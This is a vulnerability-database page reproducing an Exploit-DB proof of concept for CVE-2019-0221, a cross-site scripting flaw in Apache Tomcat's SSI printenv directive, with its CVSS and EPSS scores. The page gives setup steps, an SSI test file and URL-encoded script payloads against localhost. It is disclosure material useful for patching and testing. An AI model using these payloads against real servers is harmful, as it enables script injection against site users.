Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS)

2021-07-1300:00:00

Central InfoSec

www.exploit-db.com

542

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

AI Score

7.1

Confidence

High

EPSS

0.011

Percentile

84.5%

JSON

# Exploit Title: Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS)
# Date: 05/21/2019
# Exploit Author: Central InfoSec
# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93
# CVE : CVE-2019-0221

# Requirements:

# SSI support must be enabled within Apache Tomcat. SSI support is not enabled by default.

# A file (usually "*.shtml") with the "printenv" SSI directive must exist within the web application.

# The file must be accessible.



# Proof of Concept:

# Install a Java Runtime Environment (JRE)

# Download a vulnerable version of Tomcat and extract the contents

# Modify line 19 of the conf\context.xml file to globally enable privileged context
Context privileged="true">

# Modify conf\web.xml to enable the SSI Servlet as per the Apache Tomcat User Guide

# Put the following code in "webapps/ROOT/ssi/printenv.shtml"
<html>
  <body>
    Echo: <!-- #echo var="QUERY_STRING_UNESCAPED" --> <br/> <br/>
    Printenv: <!-- #printenv -->
  </body>
</html>

# Run Tomcat
cd bin
catalina run

# Call the following URLs to observe the XSS. You may need to use FireFox. Observe the difference between the "echo" directive which escapes properly and the "printenv" directive which does not escape properly
http://localhost:8080/ssi/printenv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
http://localhost:8080/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E